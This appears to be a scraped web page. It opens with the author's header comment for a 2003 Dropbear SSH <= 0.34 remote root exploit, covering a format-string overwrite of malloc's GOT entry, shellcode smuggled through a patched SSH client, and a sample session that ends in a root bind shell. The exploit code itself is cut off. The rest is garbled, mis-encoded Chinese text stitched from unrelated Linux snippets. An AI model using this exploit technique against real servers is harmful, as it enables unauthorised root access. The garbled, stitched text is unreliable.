Linux x86 Dropbear SSH <= 0.34 remote root exploit
/*
* /*
* Linux x86 Dropbear SSH <= 0.34 remote root exploit
* coded by live
*
* You'll need a hacked ssh client to try this out. I included a patch
* to openssh-3.6.p1 somewhere below this comment.
*
* The point is: the buffer being exploited is too small(25 bytes) to hold our
* shellcode, so a workaround was needed in order to send it. What I did here
* was to hack the ssh client so that it sends the local environment variable
* SHELLCODE as ssh's methodname string. This method was described by Joel
* Eriksson @ 0xbadc0ded.org.
*
* The 25 bytes limitation is also the reason for the the strange ``2 byte''
* retaddr you will see here. That's not enough for complete pointer overwrite,
* so I decided to overwrite 3rd and 2nd bytes and hope our shellcode is
* around ;)
*
* % telnet localhost 22
* Trying 127.0.0.1...
* Connected to localhost.
* Escape character is '^]'.
* SSH-2.0-dropbear_0.34
* ^]
* telnet> quit
* Connection closed.
*
* % objdump -R /usr/local/sbin/dropbear| grep malloc
* 080673bc R_386_JUMP_SLOT malloc
*
* % drop-root -v24 localhost
* ?.2022u%24$hn@localhost's password:
* Connection closed by 127.0.0.1
*
* % telnet localhost 10275
* Trying 127.0.0.1...
* Connected to localhost.
* Escape character is '^]'.
* id; exit;
* uid=0(root) gid=0(root) groups=0(root)
* Connection closed by foreign host.
*
* In the above example we were able to lookup a suitable .got entry(used as
* retloc here), but this may not be true under a hostile environment. If
* exploiting this remotely I feel like chances would be greater if we attack
* the stack, but that's just a guess.
*
* Version pad is 24 to 0.34, 12 to 0.32. I don't know about other versions.
*
* gr33tz: ppro, alcaloide and friends.
*
* 21.08.2003
* Please do not distribute
*/
/*
--- sshconnect2.c2003-08-21 21:34:03.000000000 -0300
+++ sshconnect2.c.hack2003-08-21 21:33:47.000000
Ïà¹ØÎĵµ£º
´´½¨×ÀÃæÍ¼±ê
Ŀǰ½«ÍøÂçÓ¦ÓÃÀ©Õ¹µ½×ÀÃæÊÇÒ»¸öÇ÷ÊÆ£¬´æÔÚןܶà½â¾ö·½°¸£¬±¾ÎÄÒÔ Mozilla Prism ΪÀý£¬ÀàËÆµÄ·½·¨Í¬ÑùÊÊÓÃÓÚ Google Chrome ¡£
1. µ½ Mozilla Prism µÄÍøÕ¾ÉÏÏÂÔØ Prism£¬µã»÷ Download Now Ö®ºó»áÌáʾÓÐÁ½ÖÖ£¬Ò»ÖÖÊÇÒÔ Mozilla Firefox À©Õ¹µÄ·½Ê½£¬ÊʺÏÒѾ°²×°ÓÐ Firefox µÄÅóÓÑ£»Ò»Ö ......
ÒýÓà 2 Â¥ cokeliu µÄ»Ø¸´:
лл! ÇëÎÊÊÇ·ñÿµ÷ÓÃÒ»´Îtasklet_schedule(B task); B taskÈÎÎñ±»¼Óµ½Á´±íÉÏÖ»»á±»Ö´ÐÐÒ»´Î?
Êǵģ¬Ö»±»¼ÓÒ»´Î
µÚÒ»´Îtasklet_schedule(B task)¸øËûÒ»¸ö״̬TASK_STATE_SCHED
×÷±ê¼Ç£¬ÒÔºóµÄtasklet_schedule(B task)»á¼ì²éÕâ¸ö±ê¼Ç
http://os.inf.tu-dresden.de/l4env/doc/html/dde_linux ......
linuxϵͳÖжÔÐźŵĴ¦ÀíÖ÷ÒªÊÇsignal ºÍsigactionº¯ÊýÀ´Íê³É£¬pauseÓÃÀ´ÏìÓ¦ÈκÎÐźţ¬µ«²»×öÈκδ¦Àí¡£
1¡£signalº¯Êý
¸Ãº¯ÊýÓÃÀ´ÉèÖýø³ÌÔÚ½Óµ½Ðźŵ͝×÷¡£¿ÉÒÔ man signal²é¿´¾ßÌåÓ÷¨£¬ÏÖÔÚ¶ÔÆäÓ÷¨ÑÝʾ£¬
SIGKILL SIGSTOPÊDz»Äܱ»²¶×½ºÍºöÂÔµÄÐź ......
¼üÅÌÔÚËùÓеÄÇý¶¯Ö®ÖÐ×îΪ¼òµ¥µÄÒ»ÖÖ£¬µ«ËüÈ´°üº¬ÁËÇý¶¯µÄ»ù±¾¿ò¼Ü£¬¶ÔÒÔºó¼ÌÐøÉîÈëѧϰÆäËû¸´ÔÓµÄÇý¶¯´óÓÐñÔÒæ£¬ÒÔϱãΪÄãÖð²½ÆÊÎöÇý¶¯µÄ¿ª·¢¡£²ÉÓõÄÊDzéѯ·½Ê½¡£×ªÔØÇë×¢Ã÷³ö´¦£ºqiangren.blog.edu.cn
Ò».ÄÚºËÄ£¿éµÄ×¢²áºÍ³·Ïú
ÔÚ¼ÓÔØÄ£¿éµÄʱºò£¬Ê×ÏÈÔËÐеÄÊÇÄÚºËÄ£¿éµÄ×¢²áº¯Êý¡£ËüµÄ¹¦ÄܰüÀ¨ÄÚºË×¢²áÉ豸ÒÔ ......
ÔÚlinuxÏÂÒ»Ö±±»ÎÞ·¨Ò»ÏÂɾ³ýºÜ¶àÎļþ£¨³¬¹ý1024£©µÄÎÊÌâÀ§ÈÅ£»½ñÌìÕÒÁËһϣ¬·¢ÏÖÓÐÒ»¸öºÜ¼òµ¥µÄ½â¾ö°ì·¨¡£ÔÚterminalÖÐÊäÈë
flora03:/scratch/weibinli> find . -name 'Rubidium*' | xargs rm
¸ÃÃüÁîÒ»ÏÂ×Ó ½«ËùÓÐÒÔRubidium¿ªÍ·µÄÎļþɾ³ýµô¡£ÒÔ´ËÀàÍÆ£¬Ó¦¸Ã¿ÉÒÔ½«rm¸ÄΪcpÒ»´Îcopy´óÊýÄ¿µÄÎļþ¡£
......